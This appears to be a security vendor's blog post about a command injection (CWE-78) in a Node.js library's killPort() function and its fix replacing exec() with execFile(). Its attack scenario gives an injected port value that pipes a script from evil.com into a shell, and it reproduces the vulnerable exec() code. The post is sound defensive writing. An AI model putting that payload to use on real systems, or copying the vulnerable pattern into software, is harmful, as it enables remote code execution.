Back to Blog
high SEVERITY6 min read

How javascript.lang.security.detect-child-process.detect-child-process happens in Node.js and how to fix it

A high-severity command injection vulnerability was discovered in `src/platform.js` where the `killPort()` function used `exec()` with string concatenation, allowing potential shell command injection through the `port` parameter. The fix replaces all `exec()` calls with `execFile()`, which bypasses shell interpretation entirely and passes arguments as an array, eliminating the injection vector.

O
By Orbis AppSec
Published August 30, 2026Reviewed August 30, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Node.js where `exec()` from `child_process` was called with user-controllable input concatenated into shell command strings. The `killPort()` function in `platform.js` passed the `port` parameter directly into shell commands like `netstat -ano -p tcp | findstr LISTENING | findstr :` + port. The fix replaces `exec()` with `execFile()`, which executes commands without shell interpretation and accepts arguments as an array, preventing injection attacks.

Vulnerability at a Glance

cweCWE-78
fixReplace exec() with execFile() and pass arguments as arrays
riskArbitrary command execution on the host system
languageJavaScript (Node.js)
root causeUsing exec() with string concatenation of untrusted input
vulnerabilityCommand Injection via child_process

Introduction

The src/platform.js file in this Node.js library handles cross-platform system operations, including a killPort() function designed to terminate processes listening on a specific TCP port. However, a critical flaw at lines 89-97 created a command injection vulnerability: the function concatenated the port parameter directly into shell command strings passed to exec().

Consider this vulnerable pattern from the original code:

return exec('netstat -ano -p tcp | findstr LISTENING | findstr :' + p, (err, stdout) => {

The p variable (derived from the port function argument) is concatenated directly into a shell command. Since exec() spawns a shell to interpret the command string, an attacker who controls the port value could inject arbitrary shell commands.

This matters because this is a Node.js library—vulnerabilities here propagate to every downstream application that depends on it. If any consumer passes user-controllable input to killPort(), they inherit this command injection risk.

The Vulnerability Explained

The killPort() function used Node.js's exec() function, which spawns a shell (/bin/sh on Unix, cmd.exe on Windows) to interpret command strings. This is fundamentally different from execFile(), which executes a binary directly without shell interpretation.

Here's the vulnerable code on Windows:

return exec('netstat -ano -p tcp | findstr LISTENING | findstr :' + p, (err, stdout) => {
  // ...
  exec([...pids].map(id => 'taskkill /PID ' + id + ' /T /F').join(' & '), () => cb(null));
});

And on Unix/macOS:

return exec('lsof -nti tcp:' + p + ' | xargs kill 2>/dev/null', () => cb(null));

Attack Scenario

Imagine a web application using this library to manage development servers:

app.post('/kill-server', (req, res) => {
  killPort(req.body.port, (err) => {
    res.json({ success: !err });
  });
});

An attacker could send:

{ "port": "8080; curl http://evil.com/shell.sh | sh" }

On Unix, this would execute:

lsof -nti tcp:8080; curl http://evil.com/shell.sh | sh | xargs kill 2>/dev/null

The shell interprets ; as a command separator, executing the attacker's payload. On Windows, similar injection is possible using & or | characters.

Real-World Impact

For this library specifically:
- Development tools: If used in CLI tools or development servers, local command execution could compromise developer machines
- CI/CD systems: Build systems using this library could be hijacked to inject malicious code into releases
- Server management: Any server-side use with user input could lead to full system compromise

The Fix

The fix replaces all exec() calls with execFile() and restructures the command execution to use argument arrays instead of string concatenation.

Before (Vulnerable)

const { execFile, exec } = require('child_process');

// Windows
return exec('netstat -ano -p tcp | findstr LISTENING | findstr :' + p, (err, stdout) => {
  // ...
  exec([...pids].map(id => 'taskkill /PID ' + id + ' /T /F').join(' & '), () => cb(null));
});

// Unix
return exec('lsof -nti tcp:' + p + ' | xargs kill 2>/dev/null', () => cb(null));

After (Fixed)

const { execFile } = require('child_process');

// Windows - no shell, arguments as array
return execFile('netstat', ['-ano', '-p', 'tcp'], (err, stdout) => {
  const pids = new Set(String(stdout || '').trim().split(/\r?\n/)
    .filter(l => /LISTENING/.test(l) && l.includes(':' + p + ' '))
    .map(l => l.trim().split(/\s+/).pop())
    .filter(x => /^\d+$/.test(x) && x !== '0'));
  if (!pids.size) return cb(null);
  execFile('taskkill', ['/T', '/F', ...[...pids].flatMap(id => ['/PID', id])], () => cb(null));
});

// Unix - separate execFile calls, no shell piping
return execFile('lsof', ['-nti', 'tcp:' + p], (err, stdout) => {
  const pids = String(stdout || '').trim().split(/\r?\n/).filter(Boolean);
  if (!pids.length) return cb(null);
  execFile('kill', pids, () => cb(null));
});

Key Changes Explained

  1. Removed exec import: The fix removes exec from the imports entirely, ensuring it can't be accidentally used elsewhere in the file.

  2. Shell piping eliminated: The original used shell pipes (|) and redirects (2>/dev/null). The fix handles filtering in JavaScript instead:
    - findstr LISTENING | findstr : becomes .filter(l => /LISTENING/.test(l) && l.includes(':' + p + ' '))
    - xargs kill becomes a separate execFile('kill', pids) call

  3. Arguments as arrays: Instead of 'taskkill /PID ' + id, the fix uses ['/PID', id]. Even if id contained shell metacharacters, they'd be treated as literal strings.

  4. Port filtering moved to JavaScript: The port value is now only used in a JavaScript string comparison (l.includes(':' + p + ' ')), never in a shell context.

Prevention & Best Practices

Avoid exec() When Possible

The child_process module offers safer alternatives:

Function Shell Use Case
exec() Yes Never for untrusted input
execFile() No Preferred for external commands
spawn() No* Best for streaming output
fork() No Node.js child processes

*spawn() can use shell with { shell: true } option—avoid this with untrusted input.

Input Validation as Defense-in-Depth

The fix also includes early validation:

const p = parseInt(port, 10);
if (!p) return cb(new Error('bad port'));

While execFile() prevents injection, validating that port is actually a number adds another safety layer.

Static Analysis Integration

Use tools like Semgrep to catch these patterns:

rules:
  - id: detect-child-process-exec
    patterns:
      - pattern-either:
          - pattern: exec($ARG, ...)
          - pattern: exec(`...${$VAR}...`, ...)
    message: "Avoid exec() with dynamic input"
    severity: ERROR

Key Takeaways

  • The killPort() function's use of exec() with string concatenation created a command injection vector that could be exploited if any downstream consumer passed user-controllable input
  • Replacing exec() with execFile() eliminates shell interpretation entirely, making shell metacharacter injection impossible regardless of input
  • Shell piping operations must be reimplemented in application code when switching to execFile()—the fix shows how to replace findstr piping with JavaScript filtering
  • Library authors bear extra responsibility since their vulnerabilities propagate to all consumers
  • The parseInt() validation on line 85 provides defense-in-depth but is not sufficient alone—structural safety (execFile()) is essential

How Orbis AppSec Detected This

  • Source: The port parameter passed to the killPort() function at line 83
  • Sink: exec() calls at lines 89, 93, and 96 where port was concatenated into shell command strings
  • Missing control: No shell-safe execution method; user input was passed directly to shell interpretation without sanitization
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Fix: Replaced all exec() calls with execFile() and restructured commands to pass arguments as arrays instead of concatenated strings

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability demonstrates why exec() should be avoided in favor of execFile() when working with Node.js's child_process module. The convenience of shell command strings comes with significant security risks—any user-controllable input can become an injection vector.

The fix shows a complete pattern for migrating from exec() to execFile(): remove shell piping by handling filtering in JavaScript, pass arguments as arrays, and validate input as defense-in-depth. For library authors especially, these defensive patterns protect not just your code but every application that depends on it.

References

Frequently Asked Questions

What is command injection via child_process?

Command injection via child_process occurs when user-controllable input is passed to Node.js functions like `exec()` that interpret strings through a shell, allowing attackers to inject arbitrary shell commands using metacharacters like `;`, `|`, or `$()`.

How do you prevent command injection in Node.js?

Use `execFile()` instead of `exec()` since it bypasses the shell entirely, pass arguments as arrays rather than concatenated strings, validate and sanitize all user input, and use allowlists for expected values when possible.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation enough to prevent command injection?

Input validation alone is insufficient because shell metacharacters are numerous and context-dependent. The safest approach is to avoid shell interpretation entirely by using `execFile()` with argument arrays, then add validation as defense-in-depth.

Can static analysis detect command injection?

Yes, static analysis tools like Semgrep can detect patterns where `child_process.exec()` is called with concatenated or interpolated strings containing function parameters, flagging potential injection points for review.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #1

Related Articles

high

How Shell Injection Happens in GitHub Actions and How to Fix It

A GitHub Actions workflow file contained a critical shell injection vulnerability where user-controlled inputs were directly interpolated into a shell command using `${{ }}` syntax. By moving the untrusted data into environment variables and properly quoting them, the vulnerability was eliminated while preserving all functionality.

high

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

A high-severity command injection vulnerability was discovered in Vite's `shared.js` file where the `gitExec()` function used `execSync()` with string concatenation, allowing potential shell metacharacter injection. The fix replaces `execSync()` with `spawnSync()` and passes Git arguments as an array instead of a shell string, eliminating the injection vector entirely.

critical

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the shell-quote npm package, where unescaped line terminators could allow attackers to execute arbitrary code. The fix upgrades shell-quote from version 1.8.2 to 1.9.0 using npm overrides to ensure the patched version is used throughout the dependency tree, closing this dangerous attack vector.

high

How command injection happens in Node.js child_process calls and how to fix it

A high-severity command injection risk was discovered in `npm/holidaytw/lib/installer.js` where the `verifyBinaryExecutes` function passed a user-influenced `binPath` argument directly to `spawnSync` without sanitization. The fix replaces `spawnSync` with `execFileSync` combined with `path.resolve()` and explicit `shell: false`, eliminating the shell interpretation attack surface. This proactive hardening raises the bar against automated exploit-chaining tools even in local CLI contexts.

high

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

A high-severity command injection vulnerability was discovered in `bump-changed-extensions.js` where the `execSync()` function was called with unsanitized input, potentially allowing attackers to execute arbitrary commands. The fix replaces the vulnerable `execSync()` pattern with `spawnSync()` using an argument array, eliminating shell interpolation entirely and preventing command injection attacks.

high

How Denial of Service via Invalid Binary POST Requests happens in Socket.IO and how to fix it

A high-severity Denial of Service vulnerability (CVE-2026-59725) was discovered in engine.io versions prior to 6.6.7, where invalid binary POST requests could crash Socket.IO servers. The fix upgrades engine.io from 6.6.5 to 6.6.7, which includes improved validation for binary packet handling and prevents malformed requests from taking down real-time communication channels.